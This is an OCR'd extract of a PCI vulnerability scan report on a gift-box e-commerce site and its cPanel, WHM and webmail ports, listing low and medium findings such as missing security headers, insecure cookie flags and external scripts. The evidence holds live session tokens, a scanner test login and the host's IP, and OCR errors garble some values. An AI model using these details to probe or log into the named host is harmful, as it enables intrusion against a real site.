GET https://lwww.spreengs.com/Check-out/shippingaddress
X-Powered-By: PHP/5.6.40

GET https://www.spreengs.com/accounts/4
X-Powered-By: PHP/5.6.40

Request: GET https://www.spreengs.com/ HTTP/1.1
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Cookie: _ga_5NFFSRM1X5=GS2.2.51776441978$01$g0$t1776441978$j60$10$h0; _gat=1; _gid=GA1.2.1509268829.1776441978; _ga=GALl.

2.1435567823.1776441978; PHPSESSID=754tvwpgqm8ch2d91rtokogfo?

location: https://www.spreengs.com/

Embedded links or code from out-of-scope domains

PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0329

Category: Integrity

CVE ID: -

Vendor Reference: -

Last Update: 2019-05-03 01:34:35.0
THREAT:

port 443/https

Externally served scripts or objects can present a security risk because they are not subject to system and application controls. Including scripts from untrusted domains

can result into any one of following 1- Loss of control over changes to the application. 2- Execution of arbitrary code on client systems. 3- Disclosure or leakage of

sensitive information to 3rd parties.

SOLUTION:

If external scripts are necessary to provide a particular service then get the scripts from the third party, perform a review for functionality and integrity and post it on a web

server.
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EVIDENCE:

DetectionDetails: Following External Links Found:

<script type="text/javascript" src="//code.jquery.com/jquery-2.1.4.js"></script>

<script type="text/javascript" src="https://www.google.com/recaptcha/api.js?hl=en">
</script>

<script type="text/javascript" src="//www.googleadservices.com/pagead/conversion.js">
</script>

Request: GET https://www.spreengs.com/Check-out/shippingaddress HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Cookie: _ga_5NFFSRM1X5=GS2.2.51776441978%01$91$t1776442095%$j10$I0$h0; _gat=1; _gid=GA1.2.1509268829.1776441978; _ga=GA1l.
2.1435567823.1776441978; PHPSESSID=754tvvpggm8ch2d91rtokogfo7

location: https://www.spreengs.com/Check-out/shippingaddress

Embedded links or code from out-of-scope domains port 443/https
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0329
Category: Integrity

CVE ID: -

Vendor Reference: -
Last Update: 2019-05-03 01:34:35.0

THREAT:

Externally served scripts or objects can present a security risk because they are not subject to system and application controls. Including scripts from untrusted domains
can result into any one of following 1- Loss of control over changes to the application. 2- Execution of arbitrary code on client systems. 3- Disclosure or leakage of
sensitive information to 3rd parties.

SOLUTION:
If external scripts are necessary to provide a particular service then get the scripts from the third party, perform a review for functionality and integrity and post it on a web

server.

EVIDENCE:

DetectionDetails: Following External Links Found:

<script type="text/javascript" src="//code.jquery.com/jquery-2.1.4.js"></script>

<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.11.2/jquery-ui.js"></script>
<script type="text/javascript" src="//www.googleadservices.com/pagead/conversion.js">

</script>

Request: GET https://www.spreengs.com/medium-pink-leather-box HTTP/1.1
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Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Cookie: _ga_5NFFSRM1X5=GS2.2.51776441978$01$g1$t1776442010$j28$10$h0; _gid=GA1.2.1509268829.1776441978; _ga=GA1.2.1435567823.1776441978;

PHPSESSID=754tvvpggm8cb2d91rtokoqfo7

location: https://www.spreengs.com/medium-pink-leather-box

Missing X-Content-Type-Options Header
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 31

Severity: low

SLID: SLID-2019-0198

Category: Application Vulnerability

CVE ID: -

Vendor Reference: -

Last Update: 2019-05-08 08:08:41.0
THREAT:

port 443/https

Setting X-Content-Type-Options header will prevent the browser from interpreting files as something else than declared by the content type in the HTTP headers.

SOLUTION:
Add X-Content-Type-Options response header for all pages in the application.

EVIDENCE:
DetectionDetails: X-Content-Type-Options response header not present.

REQUEST URL
GET https://www.spreengs.com/

RESPONSE HEAD

HTTP/1.1 200 OK

Date: Fri, 17 Apr 2026 16:06:38 GMT
Server: Apache

X-Powered-By: PHP/5.6.40

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip

Content-Length: 4701

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8
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This issue is found on multiple pages:
Displaying the first (50/142) items

GET https://www.spreengs.com/

GET https://www.spreengs.com/create-your-own

GET https://www.spreengs.com/medium-white-video-box-with-flap

GET https://lwww.spreengs.com/medium-pink-leather-box

GET https://www.spreengs.com/small-pink-leather-box

GET https://www.spreengs.com/page/video_greeting_card%7Cblank_card/88
GET https://www.spreengs.com/page/video_greeting_card%7Cupload_card/87
GET https://www.spreengs.com/Check-out/shoppingcart

GET https://www.spreengs.com/Check-out/shippingaddress

GET https://www.spreengs.com/accounts/4

GET https://www.spreengs.com/the-magnet

GET https://www.spreengs.com/page/video_greeting_card%?7Cstart_designing/89
GET https://www.spreengs.com/page/video_greeting_card%7Cleaveitblank/90
GET https://www.spreengs.com/large-white-video-box

GET https://www.spreengs.com/the-pocket-size

GET https://lwww.spreengs.com/medium-white-video-box

GET https://www.spreengs.com/large-green-leather-video-box

GET https://www.spreengs.com/the-rectangle

GET https://www.spreengs.com/large-gold-leather-video-box

GET https://www.spreengs.com/the-square

GET https://lwww.spreengs.com/large-bronze-leather-video-box

GET https://www.spreengs.com/the-folder

GET https://www.spreengs.com/large-black-leather-box

GET https://www.spreengs.com/large-red-leather-box

GET https://www.spreengs.com/large-blue-leather-box

GET https://www.spreengs.com/large-grey-leather-box

GET https://www.spreengs.com/large-white-leather-box

GET https://www.spreengs.com/medium-green-leather-video-box

GET https://www.spreengs.com/medium-gold-leather-video-box

GET https://www.spreengs.com/medium-bronze-leather-video-box

GET https://www.spreengs.com/medium-black-leather-box

GET https://www.spreengs.com/medium-red-leather-box

GET https://www.spreengs.com/medium-blue-leather-box

GET https://www.spreengs.com/medium-grey-leather-box

GET https://www.spreengs.com/medium-white-leather-box

GET https://www.spreengs.com/small-green-leather-video-box

GET https://www.spreengs.com/small-gold-leather-video-box

GET https://www.spreengs.com/small-bronze-leather-video-box

GET https://www.spreengs.com/small-black-leather-box

GET https://www.spreengs.com/small-blue-leather-box

GET https://www.spreengs.com/small-grey-leather-box

GET https://www.spreengs.com/small-white-leather-box

GET https://www.spreengs.com/video-greeting-cards

GET https://www.spreengs.com/video-greeting-cards/create-your-own

GET https://www.spreengs.com/video-greeting-cards/birthday

GET https://www.spreengs.com/the-one-with-the-birthday-stars

GET https://www.spreengs.com/video-greeting-cards/birthday/the-one-with-the-sprinkled-cupcake
GET https://lwww.spreengs.com/the-one-with-the-birthday-cake

GET https://www.spreengs.com/the-one-with-the-sparkling-cupcake

GET https://www.spreengs.com/the-one-with-the-happy-birthday-cake
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Request: GET https://www.spreengs.com/ HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Cookie: _ga_5NFFSRM1X5=GS2.2.51776441978$01$g0$t1776441978$j60$10$h0; _gat=1; _gid=GA1.2.1509268829.1776441978; _ga=GALl.

2.1435567823.1776441978; PHPSESSID=754tvwpgqm8ch2d91rtokogfo?

location: https://www.spreengs.com/

File and Directory Discovery

PCI COMPLIANCE STATUS

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

Last Update:

THREAT:

5.3
medium
SLID-2018-0491

File Access

2021-06-17 20:36:13.0

port 443/https

This attack searches for various types of common files and directories that should normally be inaccessible. In addition, various extensions associated with archiving,
backup, and copying are searched for as well.

SOLUTION:

Unused, obsolete, or sample files can contain security flaws that allow an attacker to execute commands or glean useful information about the server or its configuration.

Also, such files may contain script sources or references to internal server functions that allow an attacker to make useful inferences about vulnerabilities in the web

application. Common files are often the result of a failure to properly clean a web application file system, or may be created by web application components, such as logs,

that should be removed from production systems. Many servers ship with insecure sample or demonstration scripts by default and are frequently overlooked. Remove any

non-essential files from the application. Also, ensure that the server is properly configured so that users can only access files and directories within their allowed

permissions.

EVIDENCE:
DetectionDetails: Page found

Request: GET https://www.spreengs.com/accounts HTTP/1.1

location: https://www.spreengs.com/accounts

Embedded links or code from out-of-scope domains

port 443/https
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PCI COMPLIANCE STATUS

PCI Severity Level: o

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0329
Category: Integrity

CVE ID: -

Vendor Reference: -
Last Update: 2019-05-03 01:34:35.0

THREAT:

Externally served scripts or objects can present a security risk because they are not subject to system and application controls. Including scripts from untrusted domains
can result into any one of following 1- Loss of control over changes to the application. 2- Execution of arbitrary code on client systems. 3- Disclosure or leakage of
sensitive information to 3rd parties.

SOLUTION:

If external scripts are necessary to provide a particular service then get the scripts from the third party, perform a review for functionality and integrity and post it on a web
server.

EVIDENCE:

DetectionDetails: Following External Links Found:

<script type="text/javascript" src="//code.jquery.com/jquery-2.1.4.js"></script>

<script type="text/javascript" src="https://www.google.com/recaptcha/api.js?hl=en">
</script>

<script type="text/javascript" src="//www.googleadservices.com/pagead/conversion.js">
</script>

Request: GET https://www.spreengs.com/accounts/4 HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Cookie: _ga_5NFFSRM1X5=GS2.2.s1776441978%$01$g1$t1776442128%$j59%$I0$h0; _gat=1; _gid=GA1.2.1509268829.1776441978; _ga=GAl.
2.1435567823.1776441978; PHPSESSID=754tvwpgqgm8cb2d91rtokogfo?

location: https://www.spreengs.com/accounts/4

HTTPS://67.227.216.61:2083/ (HTTPS://67.227.216.61:2083/, )

Vulnerabilities total: 4

Vulnerabilities (4)

Insufficient or No use of Strict Transport Security header port 2083/https

PCI COMPLIANCE STATUS
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PCI Severity Level:

Low

This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score:

Severity:
SLID:
Category:
CVE ID:

Vendor Reference:

Last Update:

THREAT:

0.0
low
SLID-2015-0160

Information Leak

2021-06-17 20:46:23.0

HTTP Strict Transport Security (HSTS) is an opt-in security enhancement that is specified by a web application through the use of a special response header. Once a
supported browser receives this header that browser will prevent any communications from being sent over HTTP to the specified domain and will instead send all
communications over HTTPS. It also prevents HTTPS click through prompts on browsers.

SOLUTION:

Example of response header use- Strict-Transport-Security: max-age=31536000

EVIDENCE:

DetectionDetails: No HSTS implemented for HTTPS

Request: GET https://67.227.216.61:2083/ HTTP/1.1
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

location: https://67.227.216.61:2083/

Insecure configuration of Cookie attributes

PCI COMPLIANCE STATUS

PCI Severity Level:

This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

Last Update:

5.3

medium
SLID-2015-0382
Application Vulnerability

2021-12-20 20:39:03.0

port 2083/https
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THREAT:

A Cookie Vulnerability helps an attacker to gain access to session information stored in cookies. It may also be used as a 'locator' attack that precedes a Cross-Site
Scripting (XSS) or Man-In-The-Middle attack. When looking for Cookie Vulnerabilities, an attacker will first observe cookies through various HTTP proxies and check their
attributes. The attacker will then try to steal cookies of various users by employing multiple attacks. If successful, he/she may be able to get sensitive information which
can be further used in an illegitimate way.

SOLUTION:

It is important to set Secure and HTTPOnly flags for all the cookies on the application. The Secure flag prevents cookies from being transmitted over clear text. An
HTTPOnly flag would limit cookie access in cases of Cross-Site Scripting issues. Proper Caching headers should be set for responses carrying the cookie. Cookies set on
the client side should also contain Secure and HTTPOnly tags.

EVIDENCE:

DetectionDetails: Cookie Vulnerabilities Found

timezone = etc/utc

Path =/

Host = 67.227.216.61

Cookie does not have an HTTPOnly Attribute

Cookie Change Observed on CLIENTSside

Request: POST https://67.227.216.61:2083/login/?login_only=1 HTTP/1.1

Referer: https://67.227.216.61:2083/

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-type: application/x-www-form-urlencoded

Cookie: timezone=Etc/UTC; cpsession=%3a3neNtfoh3Vppd4l0%2cdfc4630bfac76f45726457684258118a

Content-Length: 39

user=CHSuser&pass=Passworl&goto_uri=%2F

location: https://67.227.216.61:2083/login/?login_only=1

Insecure configuration of Cookie attributes port 2083/https
PCI COMPLIANCE STATUS

PCI Severity Level:

“ This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2015-0382

Category: Application Vulnerability

CVE ID: -

Vendor Reference: -

Last Update: 2021-12-20 20:39:03.0
THREAT:

A Cookie Vulnerability helps an attacker to gain access to session information stored in cookies. It may also be used as a ‘'locator' attack that precedes a Cross-Site
Scripting (XSS) or Man-In-The-Middle attack. When looking for Cookie Vulnerabilities, an attacker will first observe cookies through various HTTP proxies and check their
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attributes. The attacker will then try to steal cookies of various users by employing multiple attacks. If successful, he/she may be able to get sensitive information which
can be further used in an illegitimate way.

SOLUTION:

It is important to set Secure and HTTPOnly flags for all the cookies on the application. The Secure flag prevents cookies from being transmitted over clear text. An
HTTPOnly flag would limit cookie access in cases of Cross-Site Scripting issues. Proper Caching headers should be set for responses carrying the cookie. Cookies set on
the client side should also contain Secure and HTTPOnly tags.

EVIDENCE:

DetectionDetails: Cookie Vulnerabilities Found

session_locale = ar

Path =/

Host = 67.227.216.61

Cookie does not have an HTTPOnly Attribute

Request: GET https://67.227.216.61:2083/?locale=ar HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Cookie: cpsession=%3asw7mM6U42gYdyGiB%2c730a9a7c873583cf7f5142ad011f879f; timezone=Etc/UTC

location: https://67.227.216.61:2083/?locale=ar

SmartAttack Recon Info (filtered) port 2083/https
PCI COMPLIANCE STATUS

PCI Severity Level: —

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2018-0383

Category: Information

CVE ID: -

Vendor Reference: -

Last Update: 2020-01-08 17:23:38.0
THREAT:

Identifies session IDs and gathers various info on the application to hand to other SmartAttacks.

SOLUTION:
N/A

EVIDENCE:
DetectionDetails: Session ID found
cpsession=%3asw7mM6U42gYdyGiB%2c730a9a7c873583cf7f5142ad011f879f

Request: POST https://67.227.216.61:2083/login/ HTTP/1.1
Origin: https://67.227.216.61:2083
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Cookie: timezone=Etc/UTC; cpsession=%3a3neNtfoh3Vppd4l0%2cdfc4630bfac76f45726457684258118a
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Referer: https://67.227.216.61:2083/

Content-Length: 26

Content-Type: application/x-www-form-urlencoded

user=CHSuser&pass=Passworl

location: https://67.227.216.61:2083/login/

HTTPS://67.227.216.61:2096/ (HTTPS://67.227.216.61:2096/, )

Vulnerabilities total: 5

Vulnerabilities (5)

Insecure configuration of Cookie attributes port 2096/https
PCI COMPLIANCE STATUS

PCI Severity Level:

- This vulnerability is not recognized in the National Vulnerability Database.
FAIL

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2015-0382
Category: Application Vulnerability
CVE ID: -

Vendor Reference: -
Last Update: 2021-12-20 20:39:03.0

THREAT:

A Cookie Vulnerability helps an attacker to gain access to session information stored in cookies. It may also be used as a 'locator' attack that precedes a Cross-Site
Scripting (XSS) or Man-In-The-Middle attack. When looking for Cookie Vulnerabilities, an attacker will first observe cookies through various HTTP proxies and check their
attributes. The attacker will then try to steal cookies of various users by employing multiple attacks. If successful, he/she may be able to get sensitive information which
can be further used in an illegitimate way.

SOLUTION:

It is important to set Secure and HTTPOnly flags for all the cookies on the application. The Secure flag prevents cookies from being transmitted over clear text. An
HTTPOnly flag would limit cookie access in cases of Cross-Site Scripting issues. Proper Caching headers should be set for responses carrying the cookie. Cookies set on
the client side should also contain Secure and HTTPOnly tags.

EVIDENCE:

DetectionDetails: Cookie Vulnerabilities Found
timezone = etc/utc

Path =/

Host = 67.227.216.61
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Cookie does not have an HTTPOnly Attribute
Cookie Change Observed on CLIENTside

Request: POST https://67.227.216.61:2096/login/?login_only=1 HTTP/1.1

Referer: https://67.227.216.61:2096/

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Content-type: application/x-www-form-urlencoded

Cookie: timezone=Etc/UTC; roundcube_cookies=enabled; webmailsession=%3abFTcBkVZg3E3FOre%2c080a90c9fd9e9a8f617ea9ec7e5ee05e
Content-Length: 39

user=CHSuser&pass=Passworl&goto_uri=%2F

location: https://67.227.216.61:2096/login/?login_only=1

Insufficient or No use of Strict Transport Security header
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2015-0160
Category: Information Leak
CVE ID: -

Vendor Reference: -
Last Update: 2021-06-17 20:46:23.0

THREAT:

port 2096/https

HTTP Strict Transport Security (HSTS) is an opt-in security enhancement that is specified by a web application through the use of a special response header. Once a
supported browser receives this header that browser will prevent any communications from being sent over HTTP to the specified domain and will instead send all

communications over HTTPS. It also prevents HTTPS click through prompts on browsers.

SOLUTION:
Example of response header use- Strict-Transport-Security: max-age=31536000

EVIDENCE:
DetectionDetails: No HSTS implemented for HTTPS

Request: GET https://67.227.216.61:2096/ HTTP/1.1
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

location: https://67.227.216.61:2096/
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Insufficient Session Expiration port 2096/https
PCI COMPLIANCE STATUS

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2024-1352
Category: Application Vulnerability
CVE ID: -

Vendor Reference: -
Last Update: 2024-04-29 22:02:12.0

THREAT:

Session hijacking and some other session-based attacks can require an active session ID to exploit. For this reason, sessions are given an expiration so that they are no
longer valid after the user is done with the session. By limiting the window in which a session ID is valid, the exploitability of the session ID is also reduced. General Data
Protection Regulation (GDPR) and the California Consumer Privacy Act (CCPA) have guidelines related to the use of cookies, including session cookies, although they do
not specifically mandate a maximum expiration time for session cookies. In general, the guidelines suggest that cookies should not be stored for longer than necessary for
the purpose for which they were collected.

SOLUTION:
It is recommended to use a framework that properly manages sessions and session expiration. The amount of time for a session to expire will depend on the application.
When a session expires, the web application must take active actions to invalidate the session on both sides, client and server.

EVIDENCE:
DetectionDetails: Insufficient Session Expiration found

Request: POST https://67.227.216.61:2096/login/ HTTP/1.1

Origin: https://67.227.216.61:2096

Cookie: timezone=Etc/UTC; roundcube_cookies=enabled; webmailsession=%3abFTcBkVZg3E3FOre%2c080a90c9fd9e9a8f617eadec7e5ee05e
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Referer: https://67.227.216.61:2096/

Content-Length: 26

Content-Type: application/x-www-form-urlencoded

user=CHSuser&pass=Passworl

location: https://67.227.216.61:2096/login/

Insecure configuration of Cookie attributes port 2096/https

PCI COMPLIANCE STATUS
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PCI Severity Level:

“ This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2015-0382
Category: Application Vulnerability
CVE ID: -

Vendor Reference: -
Last Update: 2021-12-20 20:39:03.0

THREAT:

A Cookie Vulnerability helps an attacker to gain access to session information stored in cookies. It may also be used as a 'locator' attack that precedes a Cross-Site
Scripting (XSS) or Man-In-The-Middle attack. When looking for Cookie Vulnerabilities, an attacker will first observe cookies through various HTTP proxies and check their
attributes. The attacker will then try to steal cookies of various users by employing multiple attacks. If successful, he/she may be able to get sensitive information which
can be further used in an illegitimate way.

SOLUTION:

It is important to set Secure and HTTPOnly flags for all the cookies on the application. The Secure flag prevents cookies from being transmitted over clear text. An
HTTPOnly flag would limit cookie access in cases of Cross-Site Scripting issues. Proper Caching headers should be set for responses carrying the cookie. Cookies set on
the client side should also contain Secure and HTTPOnly tags.

EVIDENCE:

DetectionDetails: Cookie Vulnerabilities Found

session_locale = ar

Path =/

Host = 67.227.216.61

Cookie does not have an HTTPOnly Attribute

Request: GET https://67.227.216.61:2096/?locale=ar HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Cookie: webmailsession=%3an_MvLB4rMDusBDIh%2c46b07c2819fcbff7b56234a951adaf2f; timezone=Etc/UTC; roundcube_cookies=enabled

location: https://67.227.216.61:2096/?locale=ar

SmartAttack Recon Info (filtered) port 2096/https
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Sysnet Scanning Management System April 17, 2026 Page 121



PCI Scan Vulnerability Report

Severity: low

SLID: SLID-2018-0383
Category: Information

CVE ID: -

Vendor Reference: -
Last Update: 2020-01-08 17:23:38.0

THREAT:
Identifies session IDs and gathers various info on the application to hand to other SmartAttacks.

SOLUTION:
N/A

EVIDENCE:
DetectionDetails: Session ID found
webmailsession=%3an_MvLB4rMDusBDIh%2c46b07c2819fcbff7b56234a951adaf2f

Request: POST https://67.227.216.61:2096/login/ HTTP/1.1

Origin: https://67.227.216.61:2096

Cookie: timezone=Etc/UTC; roundcube_cookies=enabled; webmailsession=%3abFTcBkVZg3E3FOre%2c080a90c9fd9e9a8f617ea9ec7e5ee05e
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Referer: https://67.227.216.61:2096/

Content-Length: 26

Content-Type: application/x-www-form-urlencoded

user=CHSuser&pass=Passworl

location: https://67.227.216.61:2096/login/

HTTPS://spreengs.com:2087/ (HTTPS://spreengs.com:2087/, )

Vulnerabilities total: 4

Vulnerabilities (4)

Insecure configuration of Cookie attributes
PCI COMPLIANCE STATUS

PCI Severity Level:

- This vulnerability is not recognized in the National Vulnerability Database.
FAIL

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2015-0382
Category: Application Vulnerability
CVE ID: -

port 2087/https
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Vendor Reference: -
Last Update: 2021-12-20 20:39:03.0

THREAT:

A Cookie Vulnerability helps an attacker to gain access to session information stored in cookies. It may also be used as a 'locator' attack that precedes a Cross-Site
Scripting (XSS) or Man-In-The-Middle attack. When looking for Cookie Vulnerabilities, an attacker will first observe cookies through various HTTP proxies and check their
attributes. The attacker will then try to steal cookies of various users by employing multiple attacks. If successful, he/she may be able to get sensitive information which
can be further used in an illegitimate way.

SOLUTION:

It is important to set Secure and HTTPOnly flags for all the cookies on the application. The Secure flag prevents cookies from being transmitted over clear text. An
HTTPOnly flag would limit cookie access in cases of Cross-Site Scripting issues. Proper Caching headers should be set for responses carrying the cookie. Cookies set on
the client side should also contain Secure and HTTPOnly tags.

EVIDENCE:

DetectionDetails: Cookie Vulnerabilities Found

session_locale = ar

Path =/

Host = spreengs.com

Cookie does not have an HTTPOnly Attribute

Request: GET https://spreengs.com:2087/?locale=ar HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Cookie: whostmgrsession=%3av52JNoC6MnSAMrht%2c2e6a82d9a0fbfof9aee5ca8e7a2a7ala; timezone=Etc/UTC

location: https://spreengs.com:2087/?locale=ar

Insufficient or No use of Strict Transport Security header port 2087/https
PCI COMPLIANCE STATUS

PCI Severity Level: [ row |

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2015-0160
Category: Information Leak
CVE ID: -

Vendor Reference: -
Last Update: 2021-06-17 20:46:23.0

THREAT:

HTTP Strict Transport Security (HSTS) is an opt-in security enhancement that is specified by a web application through the use of a special response header. Once a
supported browser receives this header that browser will prevent any communications from being sent over HTTP to the specified domain and will instead send all
communications over HTTPS. It also prevents HTTPS click through prompts on browsers.
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SOLUTION:
Example of response header use- Strict-Transport-Security: max-age=31536000

EVIDENCE:
DetectionDetails: No HSTS implemented for HTTPS

Request: GET https://spreengs.com:2087/ HTTP/1.1
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

location: https://spreengs.com:2087/

SmartAttack Recon Info (filtered) port 2087/https
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2018-0383
Category: Information
CVE ID: -

Vendor Reference: -
Last Update: 2020-01-08 17:23:38.0

THREAT:
Identifies session IDs and gathers various info on the application to hand to other SmartAttacks.

SOLUTION:
N/A

EVIDENCE:
DetectionDetails: Session ID found
whostmgrsession=%3av52JNoC6MnSAMrht%2c2e6a82d9a0fbfof9aee5ca8e7a2a7ala

Request: POST https://spreengs.com:2087/login/ HTTP/1.1

Origin: https://spreengs.com:2087

Cookie: timezone=Etc/UTC; whostmgrsession=%3ajszAQ6QNaNdMsLM_%2cc74407c8602bfe4e94413f96b6894809
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Referer: https://spreengs.com:2087/

Content-Length: 26

Content-Type: application/x-www-form-urlencoded

user=CHSuser&pass=Passworl
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location: https://spreengs.com:2087/login/

Insecure configuration of Cookie attributes port 2087/https
PCI COMPLIANCE STATUS

PCI Severity Level:

“ This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2015-0382

Category: Application Vulnerability

CVE ID: -

Vendor Reference: -

Last Update: 2021-12-20 20:39:03.0
THREAT:

A Cookie Vulnerability helps an attacker to gain access to session information stored in cookies. It may also be used as a 'locator' attack that precedes a Cross-Site
Scripting (XSS) or Man-In-The-Middle attack. When looking for Cookie Vulnerabilities, an attacker will first observe cookies through various HTTP proxies and check their
attributes. The attacker will then try to steal cookies of various users by employing multiple attacks. If successful, he/she may be able to get sensitive information which
can be further used in an illegitimate way.

SOLUTION:

It is important to set Secure and HTTPOnly flags for all the cookies on the application. The Secure flag prevents cookies from being transmitted over clear text. An
HTTPOnly flag would limit cookie access in cases of Cross-Site Scripting issues. Proper Caching headers should be set for responses carrying the cookie. Cookies set on
the client side should also contain Secure and HTTPOnly tags.

EVIDENCE:

DetectionDetails: Cookie Vulnerabilities Found
timezone = etc/utc

Path =/

Host = spreengs.com

Cookie does not have an HTTPOnly Attribute
Cookie Change Observed on CLIENTSside

Request: POST https://spreengs.com:2087/login/?login_only=1 HTTP/1.1

Referer: https://spreengs.com:2087/

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-type: application/x-www-form-urlencoded

Cookie: timezone=Etc/UTC; whostmgrsession=%3ajszAQ6QNaNdMsLM_%?2cc74407c8602bfe4e94413f96b6894809
Content-Length: 39

user=CHSuser&pass=Passworl&goto_uri=%2F

location: https://spreengs.com:2087/login/?login_only=1
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HTTPS://67.227.216.61:2087/ (HTTPS://67.227.216.61:2087/, )

Vulnerabilities total: 10

Vulnerabilities (10)

Insecure configuration of Cookie attributes port 2087/https
PCI COMPLIANCE STATUS

PCI Severity Level:

- This vulnerability is not recognized in the National Vulnerability Database.
FAIL

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2015-0382

Category: Application Vulnerability

CVE ID: -

Vendor Reference: -

Last Update: 2021-12-20 20:39:03.0
THREAT:

A Cookie Vulnerability helps an attacker to gain access to session information stored in cookies. It may also be used as a 'locator' attack that precedes a Cross-Site
Scripting (XSS) or Man-In-The-Middle attack. When looking for Cookie Vulnerabilities, an attacker will first observe cookies through various HTTP proxies and check their
attributes. The attacker will then try to steal cookies of various users by employing multiple attacks. If successful, he/she may be able to get sensitive information which
can be further used in an illegitimate way.

SOLUTION:

It is important to set Secure and HTTPOnly flags for all the cookies on the application. The Secure flag prevents cookies from being transmitted over clear text. An
